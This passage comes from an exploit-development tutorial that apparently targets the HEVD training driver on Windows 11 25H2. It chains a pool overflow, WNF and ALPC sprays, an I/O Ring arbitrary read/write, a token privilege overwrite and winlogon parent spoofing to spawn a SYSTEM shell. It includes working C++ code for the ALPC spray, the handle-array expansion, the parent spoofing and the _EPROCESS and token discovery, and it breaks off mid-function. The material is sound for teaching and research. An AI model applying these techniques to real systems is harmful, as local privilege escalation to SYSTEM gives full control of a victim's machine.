And with this, we finally have the powerful arbitrary read/write we were talking about earlier. We managed to go from a heap overflow to our very powerful primitive for writing wherever we want. Wherever we want… yes, wherever, but where?
Where do we read/write?
Since we have arbitrary read/write thanks to I/O Ring, the simplest strategy to raise our privileges to SYSTEM is to perform a data only attack. This kind of attack is characterized by the fact that we are not going to execute code in the kernel, no shellcode. Instead, we simply modify data structures. In our case, _EPROCESS, which is the kernel structure that defines a process. In it, we can modify certain fields to elevate our privileges and/or spawn a shell as SYSTEM. Later we will see two techniques to do this. However, before modifying it, the first thing we need to do is locate it in memory.
KASLR has been considered a joke for a long time, and it still is, but now a tiny bit less. Up to and including Windows 11 23H2, the only thing an attacker had to do to bypass this security mechanism was… call Windows’ own syscalls. Yes, the operating system itself gifted you kernel virtual addresses in plain text without asking for any elevated privilege.
Historically, researchers abused several classic functions to achieve this. The most mythical one was EnumDeviceDrivers, a standard function that handed you the load address of all system drivers on a silver platter, letting you calculate the base of the kernel image itself, ntoskrnl.exe. Once you knew the kernel base thanks to it, the final target par excellence of any classic exploit was locating and reading the address of the exported global variable nt!PsInitialSystemProcess. Since this variable points directly to the _EPROCESS of the System process, PID 4, finding it meant you already had the perfect starting point to walk the linked list of system processes until you found yours.
Another very common route consisted of opening a handle to your own process and then inspecting the global handle table through functions such as NtQuerySystemInformation, which allowed you to find a direct pointer to your _EPROCESS structure in kernel memory.
However, after a long time, Microsoft decided to close the tap. Starting with Windows 11 version 24H2, and of course in the 25H2 version we are working on, a kernel mitigation was introduced through an internal function called ExIsRestrictedCaller.
What happens now if we run the previous code, either by calling EnumDeviceDrivers or by directly attacking NtQuerySystemInformation with SystemModuleInformation, from a normal integrity level? The funny thing is that the functions return NO error. They still return success codes and fill the buffers in a way that looks normal. However, the operating system now sanitizes all critical data: the ImageBase or VirtualAddress fields of loaded modules and the object pointers in the handle table come completely filled with zeros, 0x0000000000000000.
The kernel now restricts this information at the root and will only populate the real pointers if the caller process has the SeDebugPrivilege privilege, which is only available to Administrators/High IL. For us, starting the attack from an unprivileged context to escalate to SYSTEM, this path is completely dead.
This forces us to radically change the rules of the game. Since we can no longer politely ask the kernel where things are, we have to discover them by force. For that, let us review what we have:
First, we used the HEVD overflow to corrupt WNF. Here we only wrote data. We have no leak here.
Then we used the corrupted WNF to read and corrupt the
_IOP_MC_BUFFER_ENTRYpointer array. Here we were able to read the headers of the chunk containing the array. Out of both headers,_HEAP_VS_CHUNK_HEADERand_POOL_HEADER, the only one that contains anything interesting is_POOL_HEADER. Concepts related to the kernel pool were explained here, but if we review the structure, remember that we have theProcessBilledfield:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//0x10 bytes (sizeof)
struct _POOL_HEADER
{
union
{
struct
{
USHORT PreviousSize:8; //0x0
USHORT PoolIndex:8; //0x0
USHORT BlockSize:8; //0x2
USHORT PoolType:8; //0x2
};
ULONG Ulong1; //0x0
};
ULONG PoolTag; //0x4
union
{
struct _EPROCESS* ProcessBilled; //0x8
struct
{
USHORT AllocatorBackTraceIndex; //0x8
USHORT PoolTagHash; //0xa
};
};
};
This field is only active if the memory was allocated with the obsolete ExAllocatePoolWithQuotaTag API, or with the modern ExAllocatePool2/3 APIs using the POOL_FLAG_USE_QUOTA flag. In our case, as we saw above, our _IOP_MC_BUFFER_ENTRY pointer array chunks have this field active.
However, it does not contain the raw _EPROCESS. It is encoded like this: ObfuscatedProcessBilled = _EPROCESS ^ POOL_HEADER_addr ^ ExpPoolCookie. We do not know any of those values, so it is not useful to us. This leak option is discarded.
- Together with the chunk header read, we also leaked a pointer to a legitimate
_IOP_MC_BUFFER_ENTRY. I will put the structure here again to make reading easier:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//0x80 bytes (sizeof)
struct _IOP_MC_BUFFER_ENTRY
{
USHORT Type; //0x0
USHORT Reserved; //0x2
ULONG Size; //0x4
LONG ReferenceCount; //0x8
enum _IOP_MC_BUFFER_ENTRY_FLAGS Flags; //0xc
struct _LIST_ENTRY GlobalDataLink; //0x10
VOID* Address; //0x20
ULONG Length; //0x28
CHAR AccessMode; //0x2c
LONG MdlRef; //0x30
struct _MDL* Mdl; //0x38
struct _KEVENT MdlRundownEvent; //0x40
ULONGLONG* PfnArray; //0x58
struct _IOP_MC_BE_PAGE_NODE PageNodes[1]; //0x60
};
As I mentioned before, this structure lives in NonPagedPool, specifically in the kLFH bucket corresponding to its 0x80 byte size, plus 0x10 for the _POOL_HEADER. We can see it if we look at one of the structures we saw before:
1
2
3
4
5
6
7
8
9
0: kd> !pool ffffd203`33887680
Pool page ffffd20333887680 region is Nonpaged pool
(...)
ffffd203338875e0 size: 90 previous size: 0 (Allocated) McBe Process: ffffd20332672080
*ffffd20333887670 size: 90 previous size: 0 (Allocated) *McBe Process: ffffd20332672080
Owning component : Unknown (update pooltag.txt)
(More 'McBe' down here...)
An interesting field in this structure would be Mdl, the Memory Descriptor List, since it usually contains a direct unencoded pointer to the corresponding _EPROCESS. Sadly, in the allocations we control, this field is not active deterministically. In my debugging sessions, I have seen it active only a few times in some _IOP_MC_BUFFER_ENTRY structures and apparently at random. It is possible there is a way to force its activation by modifying the call context, but I do not know it. We still do not have a stable leak.
A theoretically viable option would be to find an alternative object that contains an unencoded _EPROCESS pointer and that we can force into NonPagedPool with exactly the same size, 0x80 bytes. We could spray it and do pool grooming so it lands adjacent to our _IOP_MC_BUFFER_ENTRY structures. That way, we could use our freshly acquired I/O Ring read primitive to follow the leaked pointer, inspect neighboring pool memory and scan for _EPROCESS. Although it is theoretically perfectly valid, it requires knowing and mapping a sprayable object with those exact properties. I leave it as suggested research for the reader.
In this blog we will use a technique that is well known today to leak our _EPROCESS, using another very well known object for kernel pool exploitation.
The Second Spray: Leaking EPROCESS with ALPC
Starting with Windows Vista, Microsoft completely rewrote the old LPC, Local Procedure Call, interprocess communication component and replaced it with ALPC, Advanced Local Procedure Call. This internal and heavily undocumented mechanism was designed with one purpose only: maximizing performance and speed when transferring messages locally between user processes and system services, such as lsass.exe or csrss.exe. Unlike sockets or traditional pipes, ALPC optimizes kernel resources by allowing three execution methods depending on message size: direct register passing for tiny messages, pool backed messages for medium sizes, and shared memory sections for large volumes of data. Since almost any native interaction in Windows, from starting a service to querying telemetry, indirectly invokes ALPC, this component became the circulatory heart of the operating system’s communications.
As happened with WNF, this huge machinery stayed in the shadows of public research for a long time until its use(and later its abuse for exploitation) was discovered.
As with I/O Rings, what interests us in this mechanism for our leak is an array of pointers to other structures, whose size we can control at will and which is allocated in PagedPool. This array contains handles, pointers, to _KALPC_RESERVE objects.
1
2
3
4
5
6
7
8
9
10
//0x30 bytes (sizeof)
struct _KALPC_RESERVE
{
struct _ALPC_PORT* OwnerPort; //0x0
struct _ALPC_HANDLE_TABLE* HandleTable; //0x8
VOID* Handle; //0x10
struct _KALPC_MESSAGE* Message; //0x18
ULONGLONG Size; //0x20
LONG Active; //0x28
};
Since we already have arbitrary read/write thanks to I/O Ring and we are only looking for an _EPROCESS leak, the field we care about in this object is OwnerPort, which is a pointer to an _ALPC_PORT structure. _ALPC_PORT is the central structure around which the whole ALPC communication mechanism revolves. HandleTable points back to the pointer array. We will use this during cleanup.
This is the structure trimmed down to what we care about:
1
2
3
4
5
6
7
8
//0x1d8 bytes (sizeof)
struct _ALPC_PORT
{
struct _LIST_ENTRY PortListEntry; //0x0
struct _ALPC_COMMUNICATION_INFO* CommunicationInfo; //0x10
struct _EPROCESS* OwnerProcess; //0x18
(...)
};
As we can see, at offset 0x18 it has the OwnerProcess field, which is a pointer to the _EPROCESS of the ALPC creator.
This is the field we want to leak. Since we already have arbitrary read thanks to I/O Ring, we can follow one of the pointers to a _KALPC_RESERVE, then from there follow _KALPC_RESERVE.OwnerPort to _ALPC_PORT, and finally leak _ALPC_PORT.OwnerProcess, which in our case will be our own _EPROCESS because we will be the ones creating these structures at will. However, before following any pointer we have to leak it, and this handle array lands in our paged pool. So, keeping things as simple as possible, we will do a second pool grooming round. After the first round, where we got arbitrary read/write thanks to I/O Ring, the plan is this:
- Create a second round of WNF names.
- Allocate the
WNF_STATE_DATAobjects. - Create holes.
- Trigger the HEVD vulnerability a second time, corrupting an adjacent WNF again.
- Allocate several
_ALPC_HANDLE_ENTRYarrays to fill the holes. - Use the OOB read/write to leak the first pointer to
_KALPC_RESERVE. - Use our I/O Ring arbitrary read/write to follow
_KALPC_RESERVE.OwnerPort -> _ALPC_PORT.OwnerProcess.
Note that doing a second pool grooming round doubles the chances of something going wrong and crashing, compared to doing only one round. You should do as few sprays as possible while possible to minimize the risk, but in this blog we will do it this way because it gives me room to explain several objects.
Since the WNF part and triggering the bug are the same as before, I will focus on the ALPC part.
The first thing we need to do is create the _ALPC_PORT objects. For this we will use the undocumented NtAlpcCreatePort API:
1
2
3
4
5
6
NTSTATUS
NtAlpcCreatePort(
_Out_ PHANDLE PortHandle, // Pointer that receives the usermode handle to the newly created ALPC port.
_In_ POBJECT_ATTRIBUTES ObjectAttributes, // OBJECT_ATTRIBUTES. It can be almost empty, but Length must be set.
_In_opt_ PALPC_PORT_ATTRIBUTES PortAttributes // Optional ALPC port attributes. We set MaxMessageLength, for example 0x500.
);
The code that does this is the following:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
static bool CreateAlpc(const SIZE_CONFIG& sc)
{
g_alpcPorts.assign(sc.alpc_port_count, nullptr);
DWORD createdPorts = 0;
// We will create 0x400 ALPC ports
for (int i = 0; i != sc.alpc_port_count; i++) {
ALPC_PORT_ATTRIBUTES portAttr = {};
portAttr.MaxMessageLength = sc.alpc_max_message_length;
OBJECT_ATTRIBUTES objAttr = {};
objAttr.Length = sizeof(objAttr);
HANDLE port = nullptr;
// Actual call
NTSTATUS status = g_NtAlpcCreatePort(&port, &objAttr, &portAttr);
if (NT_SUCCESS(status) && port) {
g_alpcPorts[i] = port;
createdPorts++;
}
}
if (createdPorts < sc.alpc_port_count / 2) {
printf("\t[-] ALPC port creation incomplete: %lu/%lu\n", createdPorts, sc.alpc_port_count);
return false;
}
return true;
}
Calls to this API create the _ALPC_PORT objects and the _ALPC_HANDLE_TABLE structures, which I have not explained until now but are the last thing we need to understand to close what we want to do:
1
2
3
4
5
6
7
8
//0x20 bytes (sizeof)
struct _ALPC_HANDLE_TABLE
{
struct _ALPC_HANDLE_ENTRY* Handles; //0x0
struct _EX_PUSH_LOCK Lock; //0x8
ULONGLONG TotalHandles; //0x10
ULONG Flags; //0x18
};
This Handles pointer is the one that points to our array of pointers to _KALPC_RESERVE, only those pointers are called _ALPC_HANDLE_ENTRY, which is defined like this:
1
2
3
4
5
//0x8 bytes (sizeof)
struct _ALPC_HANDLE_ENTRY
{
VOID* Object; //0x0
};
That Object is, in our case, a _KALPC_RESERVE. It is defined as VOID because this structure can point to other things besides _KALPC_RESERVE, such as _KALPC_MESSAGE, for example.
In case it was not clear, the relationship is this:
1
_ALPC_HANDLE_TABLE.Handles -> _ALPC_HANDLE_ENTRY.Object (_KALPC_RESERVE in our case) -> _KALPC_RESERVE.OwnerPort -> _ALPC_PORT.OwnerProcess -> _EPROCESS
- We call
NtAlpcCreatePort, which creates the_ALPC_PORTand its_ALPC_HANDLE_TABLE, unique for each_ALPC_PORT. _ALPC_HANDLE_TABLEhas in itsHandlesfield a pointer to the array of_ALPC_HANDLE_ENTRY“structures”.- In our case, these structures are basically pointers to
_KALPC_RESERVEobjects.
Leaving that clarification aside, as I said, the call to NtAlpcCreatePort is not enough for what we want. The pointer array to _KALPC_RESERVE objects is created with an initial size of 0x20, enough for 4 entries or 8 byte pointers on x64. This array is “dynamic”, because if it is full and we try to insert another entry, we will see how in a second, it doubles its size and reallocates along the way. This leaves us with the following progression:
1
2
3
4
5
6
7
Initial: 0x20 bytes, 4 entries
Full, grow: 0x40 bytes, 8 entries, triggered by the 5th reserve
Full, grow: 0x80 bytes, 16 entries, triggered by the 9th reserve
Full, grow: 0x100 bytes, 32 entries, triggered by the 17th reserve
Full, grow: 0x200 bytes, 64 entries, triggered by the 33rd reserve
Full, grow: 0x400 bytes, 128 entries, triggered by the 65th reserve
And so on...
We are interested in making these arrays have size 0x200, which, remember, is the chunk size class we are working in. So we need to insert 33 entries. When inserting the 33rd one, the array expands and reallocates into the 0x200 size class.
To do this we need calls to NtAlpcCreateResourceReserve:
1
2
3
4
5
6
7
NTSTATUS
NtAlpcCreateResourceReserve(
_In_ HANDLE PortHandle, // Port created earlier with NtAlpcCreatePort.
_In_ ULONG Flags, // Flags. 0 is fine here.
_In_ SIZE_T MessageSize, // Message size to reserve. It must be less than or equal to MaxMessageLength.
_Out_ PHANDLE ResourceId // Output handle that receives the reserve ID. We do not need to store it for the leak.
);
Since we want the array to grow, we need to run this call several times per port, exactly 33 times so the array lands in 0x200.
Code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
static bool ExpandAlpcHandleArray(const SIZE_CONFIG& sc)
{
int portsPrimed = 0;
// Iterate over every port created before
for (int i = 0; i != sc.alpc_port_count; i++) {
HANDLE port = g_alpcPorts[i];
int createdForPort = 0;
if (!port) {
continue;
}
// Call the API 33 times per port so it expands up to 0x200
for (int j = 0; j != sc.alpc_preexpand_reserves_per_port; j++) {
HANDLE reserveHandle = nullptr;
NTSTATUS status = g_NtAlpcCreateResourceReserve(
port,
0,
sc.alpc_reserve_message_size,
&reserveHandle
);
if (!NT_SUCCESS(status)) {
break;
}
createdForPort++;
}
if (createdForPort == sc.alpc_preexpand_reserves_per_port) {
portsPrimed++;
}
}
if (portsPrimed < sc.alpc_port_count / 2) {
printf("\t[-] ALPC pre-expansion incomplete: %lu/%lu\n", portsPrimed, sc.alpc_port_count);
return false;
}
return true;
}
If pool grooming worked, now we only need to use WNF again as we did before to leak the first entry of ALPC_HANDLE_TABLE.Handles, just like we did with the I/O Ring array. This time we will not use the OOB write to corrupt this first entry, although it can be done and can give primitives, because ALPC is another object widely used for exploitation and is not limited to providing leaks as in our case. If you want to know more, you can read the exploitation section of this edition of the ExploitReversing series
We can see the result of this second spray round in WinDbg.
As before, breakpoint on the vulnerable HEVD allocation and another one after expanding the ALPC arrays.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Breakpoint 0 hit
HEVD!TriggerBufferOverflowPagedPoolSession+0x58:
fffff802`7c4063f8 488bf8 mov rdi,rax
0: kd> r rax
rax=ffffe50a092c5670
0: kd> !pool rax
Pool page ffffe50a092c5670 region is Paged pool
ffffe50a092c5000 size: 210 previous size: 0 (Allocated) Wnf Process: ffffd2033154b080
ffffe50a092c5210 size: 220 previous size: 0 (Free) ..&.
ffffe50a092c5440 size: 210 previous size: 0 (Allocated) Wnf Process: ffffd2033154b080
*ffffe50a092c5660 size: 210 previous size: 0 (Allocated) *Hack
Owning component : Unknown (update pooltag.txt)
ffffe50a092c5880 size: 210 previous size: 0 (Allocated) Wnf Process: ffffd2033154b080
ffffe50a092c5aa0 doesn't look like a valid small pool allocation, checking to see
if the entire page is actually part of a large page allocation...
This is the WNF pool grooming part. Nothing new compared to the spray we used for I/O Ring. Now let us see it after creating and expanding our ALPC arrays.
1
2
3
4
5
6
7
8
9
10
0: kd> !pool ffffe50a092c5670
Pool page ffffe50a092c5670 region is Paged pool
ffffe50a092c5000 size: 210 previous size: 0 (Allocated) Wnf Process: ffffd2033154b080
ffffe50a092c5210 size: 220 previous size: 0 (Free) ..&.
ffffe50a092c5440 size: 210 previous size: 0 (Allocated) Wnf Process: ffffd2033154b080
*ffffe50a092c5660 size: 210 previous size: 0 (Allocated) *AlHa
Pooltag AlHa : ALPC port handle table, Binary : nt!alpc
ffffe50a092c5880 doesn't look like a valid small pool allocation, checking to see
if the entire page is actually part of a large page allocation...
Just like in the I/O Ring section, we see that our Hack chunk is no longer there and that now in its place there is a chunk with the AlHa pool tag, which corresponds to our ALPC handle array. We also see that WinDbg shows one allocation less because we corrupted the pool header of the WNF chunk. I also have to highlight that freed block that was not filled during the ALPC expansion. This shows what I mentioned at the beginning about pool grooming: it is not deterministic, and because of its internal mechanisms it may not give us the expected layout and may crash. We must always keep that in mind.
Let us manually see what is in the following chunks:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
0: kd> dt _wnf_state_data ffffe50a092c5660+220+10
nt!_WNF_STATE_DATA
+0x000 Header : _WNF_NODE_HEADER
+0x004 AllocatedSize : 0x218
+0x008 DataSize : 0x218
+0x00c ChangeStamp : 0xCODE
0: kd> dt _pool_header ffffe50a092c5660+220+220
nt!_POOL_HEADER
+0x000 PreviousSize : 0y00000000 (0)
+0x000 PoolIndex : 0y00001100 (0xc)
+0x002 BlockSize : 0y00100001 (0x21)
+0x002 PoolType : 0y00000011 (0x3)
+0x000 Ulong1 : 0x3210c00
+0x004 PoolTag : 0x61486c41 -> 'AlHa'
+0x008 ProcessBilled : 0x8d7f09e2`627b325b _EPROCESS
+0x008 AllocatorBackTraceIndex : 0x325b
+0x00a PoolTagHash : 0x627b
0: kd> dq ffffe50a092c5660+220+220+10 l34
ffffe50a`092c5ab0 ffffe50a`0cc06d80 ffffe50a`0cc06990
ffffe50a`092c5ac0 ffffe50a`0cc06680 ffffe50a`0cc07170
ffffe50a`092c5ad0 ffffe50a`0cc063e0 ffffe50a`0cc06df0
ffffe50a`092c5ae0 ffffe50a`0cc05f10 ffffe50a`0cc05ce0
ffffe50a`092c5af0 ffffe50a`0cc06290 ffffe50a`0cc08830
ffffe50a`092c5b00 ffffe50a`0cc083d0 ffffe50a`0cc086e0
ffffe50a`092c5b10 ffffe50a`0cc07c60 ffffe50a`0cc084b0
ffffe50a`092c5b20 ffffe50a`0cc08360 ffffe50a`0cc076b0
ffffe50a`092c5b30 ffffe50a`0cc07f00 ffffe50a`0cc08280
ffffe50a`092c5b40 ffffe50a`0cc07800 ffffe50a`0cc08600
ffffe50a`092c5b50 ffffe50a`0cc08f30 ffffe50a`0cc08750
ffffe50a`092c5b60 ffffe50a`0cc07aa0 ffffe50a`0cc08d70
ffffe50a`092c5b70 ffffe50a`0cc07720 ffffe50a`0cc07f70
ffffe50a`092c5b80 ffffe50a`0cc08a60 ffffe50a`0cc08050
ffffe50a`092c5b90 ffffe50a`0cc088a0 ffffe50a`0cc08bb0
ffffe50a`092c5ba0 ffffe50a`0cc07db0 ffffe50a`0cc07560
ffffe50a`092c5bb0 ffffe50a`0cc0c9d0 00000000`00000000
As we can see, after the corrupted WNF chunk, one of our ALPC handle arrays landed. It contains the 33 entries we inserted, each one pointing to a _KALPC_RESERVE:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
0: kd> dt nt!_KALPC_RESERVE ffffe50a`0cc06d80
+0x000 OwnerPort : 0xffffd203`31f0b6c0 _ALPC_PORT
+0x008 HandleTable : 0xffffe50a`05b6dd28 _ALPC_HANDLE_TABLE
+0x010 Handle : 0x00000000`00000010 Void
+0x018 Message : 0xffffe50a`0ccc6340 _KALPC_MESSAGE
+0x020 Size : 0x28
+0x028 Active : 0n0
0: kd> dx -id 0,0,ffffd20328720040 -r1 ((ntkrnlmp!_ALPC_PORT *)0xffffd20331f0b6c0)
((ntkrnlmp!_ALPC_PORT *)0xffffd20331f0b6c0) : 0xffffd20331f0b6c0 [Type: _ALPC_PORT *]
[+0x000] PortListEntry [Type: _LIST_ENTRY]
[+0x010] CommunicationInfo : 0xffffe50a05b6dd00 [Type: _ALPC_COMMUNICATION_INFO *]
[+0x018] OwnerProcess : 0xffffd2033154b080 [Type: _EPROCESS *]
(...)
Now we can finally follow the _KALPC_RESERVE.OwnerPort -> _ALPC_PORT.OwnerProcess path to get our _EPROCESS!
We can also see the _ALPC_HANDLE_TABLE relationship I mentioned earlier:
1
2
3
4
5
6
0: kd> dx -id 0,0,ffffd20328720040 -r1 ((ntkrnlmp!_ALPC_HANDLE_TABLE *)0xffffe50a05b6dd28)
((ntkrnlmp!_ALPC_HANDLE_TABLE *)0xffffe50a05b6dd28) : 0xffffe50a05b6dd28 [Type: _ALPC_HANDLE_TABLE *]
[+0x000] Handles : 0xffffe50a092c5ab0 [Type: _ALPC_HANDLE_ENTRY *]
[+0x008] Lock [Type: _EX_PUSH_LOCK]
[+0x010] TotalHandles : 0x40 [Type: unsigned __int64]
[+0x018] Flags : 0x0 [Type: unsigned long]
As we can see, Handles points to the start of our ALPC handle array.
We already have our arbitrary read/write through I/O Ring and the address of our _EPROCESS. Popping SYSTEM shell is getting closer.
Privilege escalation technique 1: Parent Spoofing with Winlogon
The first technique I am going to explain is the well known parent spoofing technique. Conceptually, the technique is very simple: we are going to create a process, in our case using the cmd.exe image, while telling the operating system that its creator, its parent, is another process that is not ours. That is the spoofing part. We want the process we mark as parent to have maximum permissions, meaning it runs as SYSTEM, because then the child will inherit those permissions. Since we are creating a shell, this gives it to us as SYSTEM.
Winlogon, or Windows Logon Process, is a critical and native component of the Windows architecture. It securely manages user logon and logoff, as well as profile loading. Because of these high responsibility access control tasks, it always runs with the highest privileges in the operating system under the NT AUTHORITY\SYSTEM context. It also has the interesting property that an independent instance of its executable is created inside each active graphical user session instead of being relegated only to session zero in the background, where global system services run.
For a technique like Parent Process Spoofing, this process becomes the perfect target for three irreplaceable strategic reasons. The first is bypassing protected processes: unlike other juicy targets such as lsass.exe, which are protected under Protected Process Light technology and prevent you from opening an advanced handle to them, winlogon.exe is not a PPL process.
The second fundamental reason is that it gives us a fully visible and interactive shell. If we used a generic service from session zero as parent, our cmd.exe console would run invisibly in the background of the system. But by forcing the winlogon.exe instance from our own graphical session to be the parent of the terminal, the new process inherits SYSTEM privileges and is drawn directly on our desktop, letting us interact with it immediately on screen.
Finally, the third reason is its huge persistence and stability inside the operating system. It is a static process that never closes or gets recycled dynamically while the user session lasts, which guarantees that the parent inheritance relationship is consolidated cleanly through native Windows APIs, avoiding race conditions, unexpected failures, or blue screens. That makes it the ideal user space bridge to successfully materialize all the power we previously managed to manipulate in the heart of the kernel.
To spawn a shell by faking the parent, the following native Windows API sequence is used:
OpenProcess: the first thing we need is to obtain a handle to the process we want to impersonate as parent, in our casewinlogon.exe. To use it as a parent, the kernel requires us to open it with thePROCESS_CREATE_PROCESSaccess right. To choose the process we want to open a handle to, we only need its PID, which can be obtained legitimately.InitializeProcThreadAttributeList, first call: advanced process creation flags are managed through an opaque attribute list. We make a first call to this function passing an empty buffer,nullptr, so the system tells us exactly how many bytes of RAM it needs to hold one attribute,PROC_THREAD_ATTRIBUTE_PARENT_PROCESS.We dynamically allocate in our process heap the amount of memory requested by the previous function.
InitializeProcThreadAttributeList, second call: we call the function again, but this time we pass the buffer we just allocated. This initializes the internal structure of the attribute list.UpdateProcThreadAttribute: this is where the magic happens. We pass our initialized list, thePROC_THREAD_ATTRIBUTE_PARENT_PROCESSflag and a pointer to thewinlogon.exehandle obtained in step 1. The operating system formally links that handle as the parent of the future process.CreateProcessW: finally, we launch the executable, for examplecmd.exe. For Windows to take our trick into account, we must pass theEXTENDED_STARTUPINFO_PRESENTflag indwCreationFlagsand pointlpStartupInfoto aSTARTUPINFOEXWstructure that contains our modified attribute list. It is worth highlighting theSTARTUPINFOEXWdetail: in this API sequence we do not use the commonSTARTUPINFOWstructure, but its extended versionSTARTUPINFOEXW, which reserves a specific pointer,lpAttributeList, to formally link the spoofing object.DeleteProcThreadAttributeList,HeapFree,CloseHandle: we clean the heap memory and close handles for cleanup.
To make it clearer, the code would look something like this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
// 1. Get the parent handle. Here we assume we know its PID.
HANDLE hParentProcess = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, winlogonPid);
// 2 and 3. Calculate size and allocate memory for the attribute list.
SIZE_T attrSize = 0;
InitializeProcThreadAttributeList(nullptr, 1, 0, &attrSize);
PVOID pAttributeList = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, attrSize);
// 4. Initialize the list.
InitializeProcThreadAttributeList(
(LPPROC_THREAD_ATTRIBUTE_LIST)pAttributeList,
1,
0,
&attrSize
);
// 5. Link the parent process to the list.
UpdateProcThreadAttribute(
(LPPROC_THREAD_ATTRIBUTE_LIST)pAttributeList,
0,
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
&hParentProcess,
sizeof(HANDLE),
nullptr,
nullptr
);
// 6. Configure the extended launch structure.
STARTUPINFOEXW si = {};
PROCESS_INFORMATION pi = {};
si.StartupInfo.cb = sizeof(si);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)pAttributeList;
WCHAR cmdLine[] = L"C:\\Windows\\System32\\cmd.exe";
// Launch the process inheriting the spoofed parent's token.
BOOL success = CreateProcessW(
nullptr,
cmdLine,
nullptr,
nullptr,
FALSE,
CREATE_NEW_CONSOLE | EXTENDED_STARTUPINFO_PRESENT,
nullptr,
nullptr,
&si.StartupInfo,
&pi
);
However, if you create code like this, compile it and run it… it will fail on the first line, which is expected. If it did not, Windows security would be completely broken. It would not work because in the OpenProcess call we are asking the kernel for a handle to a SYSTEM process, winlogon.exe, with PROCESS_CREATE_PROCESS permissions, permission to create processes. And when a process without enough privileges, such as our exploit, tries this, the kernel denies the request.
This is where everything we have done so far comes into play: our arbitrary read/write with I/O Rings and the leak of our _EPROCESS. Let us see what we need to do.
Find our _TOKEN structure in memory.
In the _EPROCESS structure of our process, which we already have thanks to the ALPC leak, there is a field called Token. Keep in mind that this offset can change between Windows versions. This one is for 25H2.
1
2
3
4
5
struct _EPROCESS {
(...)
struct _EX_FAST_REF Token; //0x248
(...)
};
The _EX_FAST_REF structure is defined like this:
1
2
3
4
5
6
7
8
9
10
//0x8 bytes (sizeof)
struct _EX_FAST_REF
{
union
{
VOID* Object; //0x0
ULONGLONG RefCnt:4; //0x0
ULONGLONG Value; //0x0
};
};
On x64, kernel object structures are aligned to 16 bytes, so the last 4 bits, the last nibble, are 0. This makes that space reusable, in this case for a reference count. If we apply the mask 0xFFFFFFFFFFFFFFF0 to our EPROCESS.Token, we keep the memory address of the _TOKEN structure corresponding to our _EPROCESS. This structure is quite large, so I will show it trimmed down to what we care about.
1
2
3
4
5
6
7
8
9
10
11
12
struct _TOKEN
{
struct _TOKEN_SOURCE TokenSource; //0x0
struct _LUID TokenId; //0x10
struct _LUID AuthenticationId; //0x18
struct _LUID ParentTokenId; //0x20
union _LARGE_INTEGER ExpirationTime; //0x28
struct _ERESOURCE* TokenLock; //0x30
struct _LUID ModifiedId; //0x38
struct _SEP_TOKEN_PRIVILEGES Privileges; //0x40
(...)
};
At offset 0x40 we have a field called Privileges, which is an inline structure of type _SEP_TOKEN_PRIVILEGES. This is where the privileges of the process are defined, what it can and cannot do.
1
2
3
4
5
6
7
//0x18 bytes (sizeof)
struct _SEP_TOKEN_PRIVILEGES
{
ULONGLONG Present; //0x0
ULONGLONG Enabled; //0x8
ULONGLONG EnabledByDefault; //0x10
};
This structure contains the following privilege masks:
Present: the privileges the process is allowed to use. If a bit is not here, the process will never be able to use that privilege.Enabled: the privileges active right now.EnabledByDefault: the initial state when the token is created.
To open winlogon.exe with PROCESS_CREATE_PROCESS, the requesting process needs a special privilege called SE_DEBUG_NAME, SeDebugPrivilege, which allows debugging programs. This privilege allows, among other things, reading and writing memory of another process, even SYSTEM processes, injecting code… and it also gives us the ability to open winlogon.exe with the permission we need. As you can see, this capability is very powerful and consequently is not normally enabled in processes. Debuggers like WinDbg usually have it, and so do other processes that need to perform those operations.
What we will do with our arbitrary write is write the value 0xFFFFFFFFFFFFFFFF into the Present and Enabled fields, allowing all privileges for our process and enabling them at the same time. This is killing a fly with a cannon, since we do not need every system privilege, but hey, it does not hurt to have them :)
Let us review this part, starting from getting our _EPROCESS through ALPC. I will put code to help the reader.
Optionally, find the PID of
winlogon.exeby walking theActiveProcessLinkslinked list. This step is optional because we could pass thewinlogon.exePID directly to the exploit or find it using standart Windows API calls and save ourselves this step. However, I will do it for convenience, so the exploit does not depend on external data nor does it add further code.Find our
EPROCESS.Tokenand clean the refcount to get the address of our_TOKEN.
Corresponding code for these steps. ReadKernel64 and ReadKernelBuffer are wrappers that internally use the I/O Ring primitive mentioned before. I will not show them here to save space. In any case, the final code will be uploaded in my GitHub.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
static bool DiscoverOurTokenAndWinlogonPid()
{
// Read our EPROCESS from the previously saved KALPC_RESERVE.OwnerPort path.
if (!ReadKernel64(g_alpcPortAddr + ALPC_PORT_OWNER_PROCESS_OFFSET, g_currentEprocess) ||
!IsKernelPointer(g_currentEprocess)) {
printf("\t[-] Failed to read valid ALPC_PORT.OwnerProcess\n");
return false;
}
ULONG64 currentPid = 0;
char currentImageName[EPROCESS_IMAGEFILENAME_SIZE + 1] = {};
if (!ReadKernel64(g_currentEprocess + EPROCESS_UNIQUEPROCESSID_OFFSET, currentPid)) {
printf("\t[-] Failed to read current EPROCESS.UniqueProcessId\n");
return false;
}
ReadKernelBuffer(
g_currentEprocess + EPROCESS_IMAGEFILENAME_OFFSET,
currentImageName,
EPROCESS_IMAGEFILENAME_SIZE
);
if (static_cast<DWORD>(currentPid) != GetCurrentProcessId()) {
